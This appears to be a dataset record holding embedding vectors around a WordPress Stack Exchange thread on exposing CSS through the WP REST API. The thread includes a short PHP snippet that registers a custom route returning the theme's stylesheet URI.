-0.005767822265625, -0.053985595703125, -0.041351318359375, 0.02471923828125, -0.01641845703125, 0.08148193359375, 0.00920867919921875, 0.0244140625, 0.024627685546875, -0.027008056640625, 0.03729248046875, 0.00820159912109375, 0.016876220703125, -0.00189971923828125, -0.018096923828125, -0.020782470703125, -0.0097808837890625, 0.0178985595703125, -0.058990478515625, 0.051910400390625, 0.01180267333984375, 0.05157470703125, -0.025634765625, -0.025726318359375, -0.0098114013671875, -0.004024505615234375, 0.01111602783203125, 0.0197906494140625, 0.0155487060546875, 0.0540771484375, -0.01065826416015625, 0.01261138916015625, 0.052581787109375, -0.016937255859375, 0.004058837890625, 0.0013608932495117188, 0.0124664306640625, 0.0312347412109375, 0.0130767822265625, -0.0177764892578125, 0.01528167724609375, -0.06402587890625, 0.0133056640625, 0.030426025390625, 0.0010194778442382812, -0.01088714599609375, 0.00037980079650878906, -0.0220947265625, 0.030487060546875, -0.00423431396484375, -0.061279296875, 0.0242156982421875, 0.05511474609375, -0.01430511474609375, 0.0236053466796875, 0.004604339599609375, -0.00435638427734375, 0.005168914794921875, 0.0022640228271484375, -0.0826416015625, 0.0011777877807617188, 0.0243988037109375, -0.0002524852752685547, 0.01407623291015625, -0.01044464111328125, -0.00830078125, 0.00751495361328125, 0.0171356201171875, 0.01427459716796875, 0.005802154541015625, -0.0261077880859375, 0.00258636474609375, 0.0273590087890625, -0.0301055908203125, 0.0012912750244140625, 0.051605224609375, 0.0216522216796875, 0.03021240234375, 0.04608154296875, 0.028106689453125, 0.019927978515625, 0.001934051513671875, 0.0205078125, -0.012298583984375, 0.062469482421875, -0.00978851318359375, 0.0270233154296875, -0.0111236572265625, 0.0411376953125, 0.047210693359375, -0.00801849365234375, 0.01788330078125, -0.0051422119140625, 0.006404876708984375, 0.0169677734375, -0.0016546249389648438, -0.00138092041015625, -0.03497314453125, -0.0037174224853515625, 0.0015363693237304688, 0.0268707275390625, 0.043487548828125, -0.0029544830322265625, -0.038726806640625, 0.0006670951843261719, 0.01532745361328125, -0.06976318359375, -0.099365234375, 0.0080718994140625, -0.0858154296875, 0.00995635986328125, -0.0113983154296875, -0.038238525390625, -0.0185394287109375, 0.0259857177734375, 0.0168304443359375, -0.018402099609375, -0.040435791015625, -0.0211944580078125, -0.055145263671875, -0.055755615234375, -0.007232666015625, 0.00435638427734375, -0.00852203369140625, 0.00492095947265625, 0.001190185546875, -0.007537841796875, -0.032745361328125, -0.01219940185546875, 0.0274658203125, 0.007904052734375, -0.007358551025390625, 0.032012939453125, -0.0279083251953125, -0.002254486083984375, 0.0153961181640625, -0.039886474609375, 0.0133514404296875, -0.01457977294921875, -0.025543212890625, -0.057861328125, -0.0261688232421875, -0.034149169921875, 0.06805419921875, 0.06329345703125, -0.016815185546875, 0.0237884521484375, -0.044921875, -0.028228759765625, 0.013824462890625, -0.0249176025390625, -0.010589599609375, 0.0175018310546875, -0.0213623046875, -0.0162811279296875, 0.0155792236328125, 0.072021484375, 0.01122283935546875, -0.0031909942626953125, 0.0030231475830078125, 0.04669189453125, 0.0188446044921875, 0.0606689453125, -0.046875, 0.0631103515625, 0.00029659271240234375, 0.0177001953125, 0.0203399658203125, 0.0244903564453125, -0.015350341796875, 0.01296234130859375, -0.065185546875, -0.0298309326171875, 0.00759124755859375, -0.0017881393432617188, 0.040435791015625, -0.01200103759765625, -0.00882720947265625, 0.015625, 0.06842041015625, -0.0299224853515625, -0.0009217262268066406, 0.005756378173828125, -0.005748748779296875, -0.0286102294921875, 0.0186767578125, -0.06463623046875, 0.00015592575073242188, -0.052154541015625, 0.028045654296875, -0.0023021697998046875, 0.01020050048828125, -0.040130615234375, 0.068359375, -0.038726806640625, -0.0140838623046875, 0.010833740234375, -0.035400390625, -0.0287628173828125, 0.02142333984375, -0.0452880859375, -0.004337310791015625, 0.0035305023193359375, -0.03570556640625, -0.06378173828125, -0.019775390625, -0.04541015625, 0.07122802734375, 0.040496826171875, -0.038055419921875, 0.0035305023193359375, 0.053375244140625, 0.01605224609375, 0.044708251953125, 0.0163116455078125, -0.00035119056701660156, 0.029205322265625, -0.0256805419921875, 0.022796630859375, -0.03411865234375, -0.02459716796875, 0.00846099853515625, -0.0129852294921875, 0.043121337890625, 0.01641845703125, -0.01053619384765625, 0.03662109375, -0.0157012939453125, -0.02825927734375, -0.01465606689453125, -0.0260162353515625, -0.0166473388671875, 0.023284912109375, -0.047882080078125, -0.01222991943359375, -0.0357666015625, 0.025390625, 0.00989532470703125, -0.011444091796875, -0.004222869873046875, 0.01343536376953125, 0.022857666015625, -0.033782958984375, 0.0264892578125, 0.0291595458984375, 0.0421142578125, -0.01140594482421875, 0.05029296875, 0.0012788772583007812, -0.040069580078125, 0.112548828125, 0.00226593017578125, 0.0185699462890625, 0.0174407958984375, 0.0721435546875, 0.01300811767578125, -0.01273345947265625, 0.023162841796875, 0.051300048828125, -0.08868408203125, -0.00672149658203125, -0.03717041015625, 0.0159759521484375, -0.00991058349609375, 0.00710296630859375, -0.026947021484375, 0.0232391357421875, -0.029754638671875, -0.0015077590942382812, -0.01056671142578125, -0.0261993408203125, 0.09527587890625, 0.039825439453125, 0.007549285888671875, 0.03228759765625, 0.04644775390625, 0.0161895751953125, -0.006988525390625, 0.023529052734375, -0.0169677734375, 0.0209503173828125, 0.0224761962890625, 0.0125732421875, -0.0205230712890625, -0.011199951171875, 0.068603515625, 0.037872314453125, -0.0025119781494140625, -0.0218658447265625, -0.005615234375, 0.050628662109375, -0.035125732421875, 0.0248870849609375, 0.036224365234375, 0.0034503936767578125, -0.006923675537109375, -0.0257568359375, -0.003910064697265625, 0.01467132568359375, -0.044036865234375, 0.030242919921875, 0.057281494140625, -0.033172607421875, -0.041351318359375, 0.004489898681640625, 0.0321044921875, -0.04290771484375, 0.004619598388671875, 0.031524658203125, 0.0145416259765625, 0.03759765625, 0.010467529296875, -0.0305633544921875, 0.016510009765625, 0.01183319091796875, 0.0040130615234375, -0.0301361083984375, 0.00531768798828125, -0.0015306472778320312, 0.02630615234375, -0.023895263671875, -0.0178985595703125, 0.0304107666015625, -0.0103759765625, -0.034271240234375, -0.03143310546875, -0.020721435546875, 0.018585205078125, -0.0120391845703125, -0.0186767578125, 0.004047393798828125, 0.060089111328125, -0.006763458251953125, 0.02667236328125, -0.0238494873046875, 0.031890869140625, 0.0038738250732421875, 0.004108428955078125, -0.00597381591796875, -0.015838623046875, -0.0285797119140625, 0.0223541259765625, 0.0149383544921875, -0.06671142578125, -0.06781005859375, -0.0032958984375, -0.004119873046875, 0.0323486328125, -0.021392822265625, 0.01087188720703125, -0.0279693603515625, 0.01422882080078125, -0.030029296875, 0.019927978515625, 0.021697998046875, -0.0092010498046875, -0.03125, -0.01068115234375, -0.06317138671875, -0.033538818359375, -0.07550048828125, -0.060150146484375, -0.0546875, 0.0242919921875, 0.00347900390625, 0.0193023681640625, -0.0287933349609375, -0.04595947265625, -0.0024433135986328125, 0.01224517822265625, 0.01392364501953125, 0.0181427001953125, -0.040374755859375, 0.0849609375, -0.002544403076171875, 0.0078582763671875, -0.0029811859130859375, 0.053741455078125, 0.03277587890625, -0.01678466796875, -0.0003840923309326172, -0.0396728515625, 0.00014781951904296875, -0.00734710693359375, 0.0031108856201171875, 0.0204315185546875, 0.039154052734375, 0.009765625, 0.042236328125, 0.006465911865234375, 0.0072021484375, -0.01068878173828125, -0.0184173583984375, 0.0087127685546875, 0.016387939453125, 0.03497314453125, 0.008819580078125, 0.0111083984375, 0.011688232421875, -0.0237274169921875, 0.03521728515625, 0.0107421875, 0.0377197265625, -0.04119873046875, -0.06939697265625, 0.0738525390625, 0.051239013671875, -0.0019989013671875, 0.0299072265625, -0.012420654296875, 0.01490020751953125, 0.016204833984375, 0.039215087890625, -0.003002166748046875, -0.062744140625, 0.0189971923828125, -0.0008573532104492188, -0.01473236083984375, -0.0016460418701171875, -0.0260162353515625, -0.018890380859375, 0.0279083251953125, 0.0240478515625, -0.05322265625, -0.00139617919921875, -0.035797119140625, -0.00522613525390625, 0.0238800048828125, -0.01024627685546875, 0.002887725830078125, 0.0174713134765625, 0.01059722900390625, 0.0248565673828125, -0.00846099853515625, 0.020355224609375, 0.0096282958984375, -0.0234832763671875, -0.01071929931640625, -0.025909423828125, 0.00429534912109375, -0.0160980224609375, 0.0207977294921875, 0.0012178421020507812, 0.01351165771484375, -0.01534271240234375, -0.00681304931640625, -0.00007009506225585938, -0.02471923828125, -0.027984619140625, 0.0034313201904296875, -0.04022216796875, 0.00748443603515625, 0.01247406005859375, -0.00366973876953125, 0.010498046875, 0.035980224609375, -0.022369384765625, 0.019287109375, 0.002300262451171875, 0.0223388671875, -0.01174163818359375, -0.02178955078125, 0.03460693359375, -0.02056884765625, -0.062744140625, 0.01195526123046875, -0.042572021484375, -0.0163726806640625, -0.0160369873046875, -0.0511474609375, 0.031951904296875, -0.014251708984375, -0.016448974609375, 0.0301361083984375, 0.027008056640625, -0.0298919677734375, -0.0304107666015625, 0.0299835205078125, -0.060943603515625, -0.002704620361328125, 0.009307861328125, -0.00920867919921875, -0.0247344970703125, -0.036865234375, -0.01462554931640625, 0.09503173828125, -0.0249786376953125, -0.0025386810302734375, 0.01788330078125, 0.0616455078125, -0.01079559326171875, 0.057373046875, 0.0017232894897460938, 0.0245819091796875, 0.0018873214721679688, 0.0240631103515625, -0.037994384765625, -0.02227783203125, -0.0009870529174804688, 0.049713134765625, -0.004398345947265625, -0.0047454833984375, 0.0159912109375, -0.0007014274597167969, 0.053253173828125, 0.078125, 0.028564453125, -0.03076171875, 0.004581451416015625, -0.01506805419921875, -0.006847381591796875, 0.02130126953125, 0.0290069580078125, -0.017669677734375, -0.041839599609375, 0.0201416015625, 0.0182037353515625, 0.00403594970703125, 0.0022945404052734375, -0.01329803466796875, -0.0599365234375, 0.028076171875, 0.02655029296875, 0.048797607421875, -0.019500732421875, 0.053955078125, -0.007381439208984375, 0.01471710205078125, -0.0635986328125, -0.01239013671875, 0.01593017578125, -0.0140838623046875, -0.005939483642578125, -0.0310211181640625, 0.00681304931640625, -0.05938720703125, 0.035675048828125, -0.005954742431640625, 0.07806396484375, -0.0509033203125, 0.0212249755859375, 0.029083251953125, 0.037017822265625, -0.0157470703125, 0.012359619140625, 0.0122222900390625, 0.02252197265625, -0.04437255859375, 0.00119781494140625, 0.01503753662109375, 0.003818511962890625, -0.01165771484375, -0.03863525390625, 0.0012712478637695312, 0.01715087890625, 0.005886077880859375, -0.0146942138671875, 0.0037631988525390625, 0.01306915283203125, -0.0052490234375, 0.004302978515625, 0.035552978515625, -0.00951385498046875, 0.0229949951171875, -0.04132080078125, 0.007152557373046875, 0.0012521743774414062, 0.054718017578125, 0.034393310546875, 0.04840087890625, -0.0130615234375, -0.0341796875, -0.004383087158203125, 0.0316162109375, 0.03094482421875, 0.005802154541015625, -0.01383209228515625, 0.0025005340576171875, 0.0014638900756835938, 0.022796630859375, 0.0069427490234375, 0.02593994140625, 0.041778564453125, 0.0247650146484375, -0.0234527587890625, -0.00927734375, -0.004451751708984375, -0.023651123046875, 0.03070068359375, 0.006206512451171875, 0.0215606689453125, 0.010986328125, -0.0165252685546875, -0.023956298828125, 0.04339599609375, 0.031494140625, -0.0217132568359375, 0.00930023193359375, 0.0013685226440429688, -0.03936767578125, 0.0360107421875, 0.0272979736328125, 0.0963134765625, 0.024200439453125, -0.026611328125, -0.00872039794921875, 0.0041656494140625, -0.051513671875, 0.032470703125, 0.043792724609375, -0.03765869140625, 0.025238037109375, 0.023895263671875, -0.027130126953125, 0.002460479736328125, 0.0241546630859375, 0.006618499755859375, 0.0093231201171875, 0.0212554931640625, 0.02740478515625, 0.0005540847778320312, 0.00951385498046875, 0.0160369873046875, 0.0061187744140625, 0.031402587890625, -0.00902557373046875, 0.01004791259765625, 0.020477294921875, 0.0290985107421875, -0.01049041748046875, 0.0176544189453125, 0.01442718505859375, 0.020263671875, -0.01241302490234375, -0.00482177734375, -0.01885986328125, -0.0836181640625, 0.034393310546875, 0.014251708984375, 0.0266571044921875, 0.040374755859375, -0.007465362548828125, 0.01338958740234375, -0.00653839111328125, -0.01290130615234375, -0.03558349609375, -0.03375244140625, -0.0250244140625, -0.01152801513671875, 0.0033740997314453125, -0.008056640625, -0.01049041748046875, 0.003536224365234375, 0.02276611328125, -0.0072479248046875, 0.01209259033203125, 0.006256103515625, -0.00016736984252929688, 0.0273590087890625, 0.003650665283203125, -0.022064208984375, 0.03131103515625, -0.00957489013671875, 0.035003662109375, -0.004566192626953125, 0.054046630859375, 0.0290374755859375, -0.0623779296875, 0.01445770263671875, 0.06182861328125, 0.04608154296875, -0.01348114013671875, 0.0168609619140625, 0.0304107666015625, -0.034942626953125, 0.03875732421875, -0.031982421875, -0.0239715576171875, -0.023712158203125, 0.03033447265625, 0.044952392578125, 0.0029239654541015625, 0.01161956787109375, -0.04852294921875, 0.036712646484375, 0.03302001953125, 0.0025691986083984375, -0.074951171875, 0.032012939453125, -0.0268402099609375, 0.07293701171875, -0.0168914794921875, 0.06585693359375, -0.03515625, -0.022613525390625, -0.0279541015625, -0.0140228271484375, -0.0325927734375, 0.0499267578125, 0.0023860931396484375, 0.0154571533203125, 0.0396728515625, -0.00743865966796875, 0.045135498046875, 0.032501220703125, 0.0188140869140625, 0.09527587890625, -0.032196044921875, -0.013336181640625, -0.003978729248046875, 0.033935546875, -0.00687408447265625, -0.049896240234375, -0.000056862831115722656, -0.020233154296875, 0.01084136962890625, -0.046417236328125, 0.0239105224609375, 0.029937744140625, -0.0309600830078125, -0.0880126953125, 0.08740234375, -0.03216552734375, -0.027191162109375, -0.045501708984375, 0.00913238525390625, 0.0009870529174804688, -0.035400390625, -0.02960205078125, -0.01145172119140625, -0.0225830078125, 0.03704833984375, 0.01215362548828125, 0.0311126708984375, 0.0294189453125, -0.013427734375, -0.06500244140625, -0.01270294189453125, -0.0219879150390625, 0.0184173583984375, -0.032257080078125, 0.01007843017578125, 0.0200958251953125, 0.02667236328125, -0.01389312744140625, 0.032745361328125, 0.019500732421875, -0.0025691986083984375, -0.0005593299865722656, -0.0241851806640625, -0.015594482421875, -0.0025196075439453125, 0.0689697265625, -0.0036773681640625, 0.0102996826171875, -0.01514434814453125, -0.0098876953125, -0.05633544921875, 0.0057220458984375, -0.00043773651123046875, -0.01181793212890625, -0.015655517578125, 0.0323486328125, 0.018341064453125, 0.004550933837890625, -0.0051116943359375, -0.01128387451171875, -0.028656005859375, -0.0067138671875, 0.00670623779296875, 0.00514984130859375, -0.037506103515625, -0.0234375, 0.1058349609375, -0.038787841796875, 0.0150146484375, 0.017333984375, 0.0185089111328125, 0.07293701171875, 0.0294036865234375, 0.016204833984375, 0.04571533203125, -0.055633544921875, 0.0159759521484375, -0.004184722900390625, 0.048980712890625, -0.0577392578125, -0.00859832763671875, -0.0011806488037109375, 0.0322265625, 0.004772186279296875, 0.03021240234375, -0.031585693359375, 0.050506591796875, -0.0065155029296875, 0.058135986328125, -0.035247802734375, 0.035186767578125, -0.02490234375, 0.0248565673828125, 0.023834228515625, 0.01003265380859375, 0.061614990234375, -0.0028476715087890625, -0.007656097412109375, -0.01506805419921875, -0.0562744140625, -0.06536865234375, 0.01139068603515625, -0.029388427734375, -0.01204681396484375, 0.019927978515625 ]
464159fdc8d4e4a9dca44c4f47628a66ab905f6b
Wordpress Stackexchange Q: How can I fetch CSS from JSON WP REST API response I'm getting page content via calling /wp-json/v2/page/ And there is no one field with CSS styles. How could I add css styles into json response ? Maybe exist some plugin, which can add custom field ?.. something like this https://wordpress.org/plugins/wp-api-yoast-meta/ will be nice A: CSS of what? CSS can be relevant only in the context of the full page, and as long as you do not request data for the full page (which you can easily do by just fetching the page and parsing it for the relevant style rules) you lack context. There is simply no such thing as a CSS of a post. Posts can appear in many contexts and in each of them have different styling. So it is not so much an issue with a technical way to do that, as more of the fact that the requirement itself do not make much sense in context of an API that is supposed to bring data on a single post without any hint of a context.
Q: How can I fetch CSS from JSON WP REST API response I'm getting page content via calling /wp-json/v2/page/ And there is no one field with CSS styles. How could I add css styles into json response ? Maybe exist some plugin, which can add custom field ?.. something like this https://wordpress.org/plugins/wp-api-yoast-meta/ will be nice A: CSS of what? CSS can be relevant only in the context of the full page, and as long as you do not request data for the full page (which you can easily do by just fetching the page and parsing it for the relevant style rules) you lack context. There is simply no such thing as a CSS of a post. Posts can appear in many contexts and in each of them have different styling. So it is not so much an issue with a technical way to do that, as more of the fact that the requirement itself do not make much sense in context of an API that is supposed to bring data on a single post without any hint of a context. A: Mark's answer is correct about having no CSS in the API output. However, if you need to get the URL of your CSS file for any reason, you can add a custom rest route and output it's URI. Here's a simple code that goes into your theme's functions.php file: // Register a new rest route add_action( 'rest_api_init', 'my_rest_routes' ); function my_rest_routes() { register_rest_route( 'alexi/v1', '/output_css_uri/', [ 'methods' => 'GET', 'callback' => 'output_css_callback', ] ); } // Callback function to output the css URI function output_css_callback() { return get_stylesheet_uri(); } Now, you can get the stylesheet's URI dynamically by accessing the below address: http://example.com/wp-json/alexi/v1/output_css_uri However there's not much point in outputting the main stylesheet's URI, since you probably already know where it's located, but it can be used to output any URI, including custom JS and CSS files. A: One solution is getting the stylesheet links and adding it to head in the app that you are using. Or get the complete document. Explained in detail in the link below. https://stackoverflow.com/questions/63560023/styling-issues-while-rendering-wordpress-template-in-react/63740604#63740604
wordpress
{ "language": "en", "length": 352, "provenance": "stackexchange_00019.jsonl.gz:487081", "question_score": "4", "source": "stackexchange", "timestamp": "2023-03-29", "url": "https://wordpress.stackexchange.com/questions/306609" }
[ 0.0198211669921875, 0.004119873046875, -0.05267333984375, -0.0245361328125, 0.006744384765625, -0.0447998046875, 0.00545501708984375, -0.004383087158203125, -0.041748046875, 0.007129669189453125, -0.0243377685546875, 0.033782958984375, -0.02606201171875, -0.016754150390625, 0.023651123046875, -0.053466796875, 0.05242919921875, 0.0266571044921875, 0.057769775390625, 0.00807952880859375, -0.01349639892578125, 0.029083251953125, 0.024871826171875, 0.07940673828125, 0.043212890625, -0.024932861328125, 0.0330810546875, 0.010009765625, 0.05487060546875, 0.0255279541015625, 0.028839111328125, -0.06500244140625, 0.02471923828125, 0.0286712646484375, -0.049560546875, -0.0279083251953125, 0.0198974609375, -0.00452423095703125, -0.025238037109375, 0.0284576416015625, 0.032928466796875, -0.0186767578125, -0.0003116130828857422, 0.04425048828125, -0.0204925537109375, -0.009429931640625, 0.031524658203125, -0.0243988037109375, -0.0156707763671875, -0.02362060546875, -0.0038299560546875, -0.035430908203125, 0.003566741943359375, 0.0011034011840820312, -0.00701141357421875, 0.0006151199340820312, 0.0115966796875, 0.03704833984375, 0.04833984375, -0.055511474609375, -0.04876708984375, -0.00732421875, 0.0229644775390625, 0.0140380859375, 0.012176513671875, 0.0079193115234375, 0.034271240234375, 0.0016040802001953125, -0.035675048828125, 0.0379638671875, 0.029876708984375, -0.020477294921875, -0.00015544891357421875, -0.06121826171875, -0.015228271484375, 0.031494140625, -0.0164031982421875, -0.0245208740234375, 0.00966644287109375, -0.01568603515625, 0.016845703125, 0.0247650146484375, -0.005527496337890625, -0.040863037109375, 0.03021240234375, -0.016632080078125, -0.01331329345703125, -0.013580322265625, -0.028839111328125, -0.0308685302734375, -0.0139617919921875, -0.051544189453125, -0.06585693359375, 0.01087188720703125, 0.0076446533203125, -0.043975830078125, -0.013214111328125, 0.0017499923706054688, -0.004421234130859375, 0.04071044921875, 0.00785064697265625, -0.039093017578125, 0.0718994140625, -0.032470703125, 0.0120697021484375, -0.011993408203125, -0.0047760009765625, 0.0133819580078125, 0.060302734375, 0.025787353515625, -0.020538330078125, 0.07427978515625, 0.00029587745666503906, 0.005374908447265625, -0.038360595703125, -0.0198516845703125, 0.0004017353057861328, -0.0278778076171875, -0.01265716552734375, -0.045501708984375, 0.007373809814453125, 0.0111236572265625, 0.041778564453125, 0.01245880126953125, -0.001499176025390625, 0.0217742919921875, -0.01041412353515625, -0.05975341796875, 0.0029926300048828125, -0.0140838623046875, -0.008056640625, 0.035430908203125, 0.0413818359375, 0.0241851806640625, -0.007720947265625, 0.00024437904357910156, 0.0211944580078125, 0.01190185546875, -0.008544921875, 0.005924224853515625, -0.00621795654296875, -0.02008056640625, 0.0151214599609375, -0.0156097412109375, 0.00914764404296875, -0.01263427734375, 0.0217132568359375, 0.035369873046875, 0.00010693073272705078, -0.04296875, 0.0654296875, -0.001522064208984375, 0.016448974609375, 0.0298004150390625, 0.0073089599609375, 0.0035800933837890625, 0.05194091796875, -0.032623291015625, -0.0018854141235351562, -0.040618896484375, -0.008026123046875, 0.0030651092529296875, 0.04315185546875, 0.01079559326171875, 0.0088348388671875, 0.00028133392333984375, -0.01351165771484375, 0.0123443603515625, 0.0289764404296875, 0.050628662109375, -0.0185699462890625, -0.0191497802734375, 0.032379150390625, 0.00530242919921875, -0.0341796875, 0.004322052001953125, 0.017181396484375, 0.01415252685546875, 0.0160064697265625, 0.01259613037109375, -0.0200347900390625, -0.042877197265625, 0.07501220703125, -0.0281982421875, -0.008544921875, 0.03411865234375, 0.00919342041015625, 0.067626953125, -0.0012674331665039062, 0.04510498046875, -0.043914794921875, 0.0157318115234375, -0.00620269775390625, 0.00878143310546875, -0.01226043701171875, -0.03271484375, 0.0213623046875, 0.0218505859375, -0.005496978759765625, -0.0127410888671875, -0.040252685546875, -0.01363372802734375, 0.0168914794921875, 0.02294921875, 0.021820068359375, -0.01294708251953125, -0.004856109619140625, 0.00909423828125, -0.044158935546875, 0.0027675628662109375, 0.0238189697265625, -0.004489898681640625, -0.01082611083984375, -0.035430908203125, -0.0083770751953125, 0.0279388427734375, -0.0011157989501953125, -0.0172119140625, -0.00905609130859375, 0.00020122528076171875, 0.009002685546875, -0.00783538818359375, -0.023651123046875, 0.0265655517578125, 0.033721923828125, -0.01422119140625, -0.00677490234375, -0.029083251953125, 0.06719970703125, -0.0173492431640625, 0.0552978515625, 0.0203704833984375, 0.0484619140625, 0.07952880859375, 0.0168304443359375, -0.0034999847412109375, 0.046539306640625, -0.05426025390625, 0.020263671875, 0.0291290283203125, 0.03594970703125, 0.00341796875, -0.0030040740966796875, -0.010589599609375, 0.055267333984375, 0.0016355514526367188, 0.0164337158203125, -0.0269622802734375, 0.0280914306640625, 0.006450653076171875, 0.008392333984375, -0.056488037109375, 0.0294952392578125, -0.11102294921875, 0.04022216796875, 0.0223236083984375, -0.004795074462890625, 0.023529052734375, -0.00441741943359375, 0.0068359375, -0.004856109619140625, 0.036102294921875, 0.004055023193359375, -0.01184844970703125, -0.004673004150390625, 0.0106048583984375, 0.02667236328125, 0.03253173828125, -0.001354217529296875, -0.00791168212890625, 0.00666046142578125, -0.005123138427734375, 0.00616455078125, 0.0679931640625, 0.052459716796875, -0.00553131103515625, -0.0037937164306640625, -0.044036865234375, 0.021728515625, 0.03228759765625, 0.00318145751953125, 0.025970458984375, -0.0237884521484375, -0.0056304931640625, 0.01134490966796875, -0.020965576171875, -0.0069427490234375, 0.023101806640625, 0.0229949951171875, 0.057891845703125, 0.047607421875, 0.043060302734375, -0.003902435302734375, 0.03900146484375, -0.020660400390625, 0.01213836669921875, 0.06390380859375, 0.0236053466796875, 0.00490570068359375, -0.0005459785461425781, 0.00788116455078125, 0.0222320556640625, -0.00206756591796875, -0.0139007568359375, -0.00043702125549316406, 0.006252288818359375, -0.0126190185546875, 0.00798797607421875, -0.01363372802734375, -0.028228759765625, 0.0013036727905273438, 0.056121826171875, 0.0291290283203125, 0.0245819091796875, 0.006786346435546875, -0.034210205078125, -0.011077880859375, 0.030242919921875, -0.1116943359375, -0.1103515625, 0.0697021484375, -0.10076904296875, -0.0731201171875, -0.0190582275390625, -0.0875244140625, 0.02398681640625, 0.01462554931640625, -0.0293426513671875, 0.0071868896484375, -0.0226593017578125, -0.05133056640625, -0.047943115234375, -0.0906982421875, -0.01459503173828125, 0.0032596588134765625, 0.021759033203125, -0.00020325183868408203, 0.07281494140625, 0.0097503662109375, -0.0253753662109375, -0.02984619140625, 0.0491943359375, -0.0178680419921875, -0.046783447265625, -0.0156097412109375, -0.003627777099609375, 0.00440216064453125, 0.00133514404296875, 0.007648468017578125, 0.0222625732421875, -0.013214111328125, -0.00473785400390625, -0.06256103515625, 0.0252838134765625, -0.038482666015625, 0.059661865234375, 0.0986328125, 0.0217437744140625, 0.006053924560546875, -0.027252197265625, -0.05462646484375, -0.0005884170532226562, -0.047332763671875, 0.029296875, 0.01418304443359375, 0.0096282958984375, -0.037628173828125, 0.07354736328125, 0.01471710205078125, -0.031463623046875, 0.029449462890625, -0.027862548828125, 0.05322265625, 0.0003268718719482422, 0.00655364990234375, -0.034637451171875, 0.006580352783203125, -0.023040771484375, -0.00359344482421875, -0.01204681396484375, -0.00519561767578125, -0.03338623046875, 0.0255126953125, -0.049285888671875, -0.055084228515625, 0.035308837890625, 0.019134521484375, 0.033599853515625, -0.016876220703125, -0.03802490234375, 0.013519287109375, 0.0875244140625, -0.0027141571044921875, -0.0272369384765625, -0.0009379386901855469, 0.017974853515625, -0.06756591796875, -0.04608154296875, -0.0210418701171875, 0.0120849609375, -0.0743408203125, 0.014892578125, -0.017974853515625, -0.032928466796875, 0.006778717041015625, -0.01372528076171875, -0.032562255859375, -0.04412841796875, 0.029296875, 0.0008912086486816406, -0.01248931884765625, 0.00722503662109375, -0.0189971923828125, -0.01486968994140625, -0.0135345458984375, 0.0033397674560546875, -0.070068359375, -0.0198516845703125, -0.0022907257080078125, 0.036407470703125, 0.0025177001953125, -0.021728515625, 0.0024929046630859375, 0.05364990234375, 0.004375457763671875, 0.005405426025390625, -0.00983428955078125, -0.0017919540405273438, -0.0308837890625, 0.00628662109375, 0.004863739013671875, -0.0157012939453125, -0.01043701171875, 0.007762908935546875, -0.00438690185546875, 0.061370849609375, -0.0048065185546875, 0.007503509521484375, 0.015106201171875, -0.005664825439453125, -0.02142333984375, -0.0197296142578125, 0.000659942626953125, 0.0257110595703125, -0.0211181640625, 0.01317596435546875, -0.0222930908203125, -0.0030879974365234375, 0.0285186767578125, 0.048858642578125, -0.01708984375, 0.00313568115234375, 0.00824737548828125, 0.0242919921875, -0.042633056640625, -0.0596923828125, -0.0182342529296875, 0.04315185546875, 0.002796173095703125, 0.0250701904296875, 0.00618743896484375, -0.051513671875, 0.1103515625, 0.025146484375, -0.0053863525390625, 0.04864501953125, 0.00804901123046875, 0.022430419921875, -0.0304412841796875, 0.02734375, 0.0267791748046875, -0.039459228515625, 0.0177764892578125, 0.0284271240234375, -0.01245880126953125, 0.0562744140625, -0.00013053417205810547, -0.0254669189453125, -0.0134124755859375, 0.00861358642578125, -0.036041259765625, 0.007251739501953125, -0.0084686279296875, 0.059112548828125, 0.0091094970703125, -0.0020923614501953125, 0.0452880859375, 0.03643798828125, -0.011932373046875, -0.0214691162109375, 0.00666046142578125, -0.02557373046875, 0.0028476715087890625, -0.0172576904296875, -0.0281982421875, -0.039825439453125, -0.0240020751953125, 0.061920166015625, -0.0158843994140625, -0.0782470703125, 0.025970458984375, -0.03375244140625, 0.0224761962890625, 0.04034423828125, 0.005718231201171875, 0.04864501953125, -0.0165252685546875, -0.0252532958984375, -0.01849365234375, -0.01947021484375, -0.0533447265625, -0.062103271484375, 0.043548583984375, 0.00569915771484375, -0.01461029052734375, 0.01203155517578125, 0.033935546875, 0.034759521484375, 0.00789642333984375, -0.031341552734375, 0.002918243408203125, -0.04449462890625, 0.0307159423828125, -0.01024627685546875, 0.035308837890625, 0.019287109375, 0.0129547119140625, 0.03497314453125, -0.039703369140625, -0.019989013671875, 0.01479339599609375, 0.0281829833984375, -0.043060302734375, -0.029144287109375, 0.050811767578125, 0.0092926025390625, -0.03582763671875, -0.01168060302734375, -0.0008578300476074219, 0.022552490234375, -0.041290283203125, -0.009002685546875, 0.03973388671875, 0.07659912109375, 0.010101318359375, 0.002346038818359375, 0.042022705078125, 0.03729248046875, -0.0223388671875, -0.0181732177734375, 0.01861572265625, 0.020538330078125, -0.0338134765625, -0.02783203125, -0.0262451171875, -0.0137939453125, -0.019744873046875, 0.0079498291015625, -0.01291656494140625, 0.0025157928466796875, -0.020721435546875, 0.05157470703125, -0.038665771484375, -0.0006580352783203125, -0.0252227783203125, 0.00949859619140625, 0.033111572265625, 0.0254058837890625, 0.004184722900390625, 0.00650787353515625, -0.01016998291015625, -0.01123809814453125, 0.00803375244140625, -0.035552978515625, -0.019317626953125, -0.025848388671875, 0.00418853759765625, 0.0106048583984375, -0.013580322265625, -0.02777099609375, -0.0180206298828125, 0.04901123046875, 0.024810791015625, 0.0258331298828125, -0.02349853515625, 0.0938720703125, -0.03302001953125, 0.042327880859375, 0.00334930419921875, 0.04095458984375, -0.0274200439453125, 0.00293731689453125, -0.0005502700805664062, -0.08673095703125, -0.02593994140625, 0.0004029273986816406, -0.0253143310546875, 0.08416748046875, 0.0537109375, 0.017181396484375, 0.0390625, -0.0249176025390625, -0.004840850830078125, -0.0290985107421875, 0.03216552734375, -0.0291290283203125, -0.00036144256591796875, 0.03509521484375, 0.029541015625, 0.043701171875, -0.033416748046875, -0.0501708984375, 0.0156097412109375, 0.030059814453125, 0.0416259765625, -0.02911376953125, 0.006267547607421875, 0.0188446044921875, 0.038665771484375, -0.0102081298828125, 0.043243408203125, 0.01000213623046875, 0.0092315673828125, 0.01136016845703125, 0.0158538818359375, -0.0009150505065917969, -0.0240478515625, 0.017181396484375, -0.004756927490234375, -0.004241943359375, -0.003269195556640625, -0.0230712890625, 0.020172119140625, 0.0204620361328125, 0.049346923828125, -0.0625, 0.0116424560546875, -0.01397705078125, -0.014617919921875, 0.055633544921875, 0.00803375244140625, -0.03900146484375, -0.056427001953125, 0.046142578125, 0.0017232894897460938, -0.00981903076171875, 0.0257568359375, 0.006504058837890625, 0.006023406982421875, 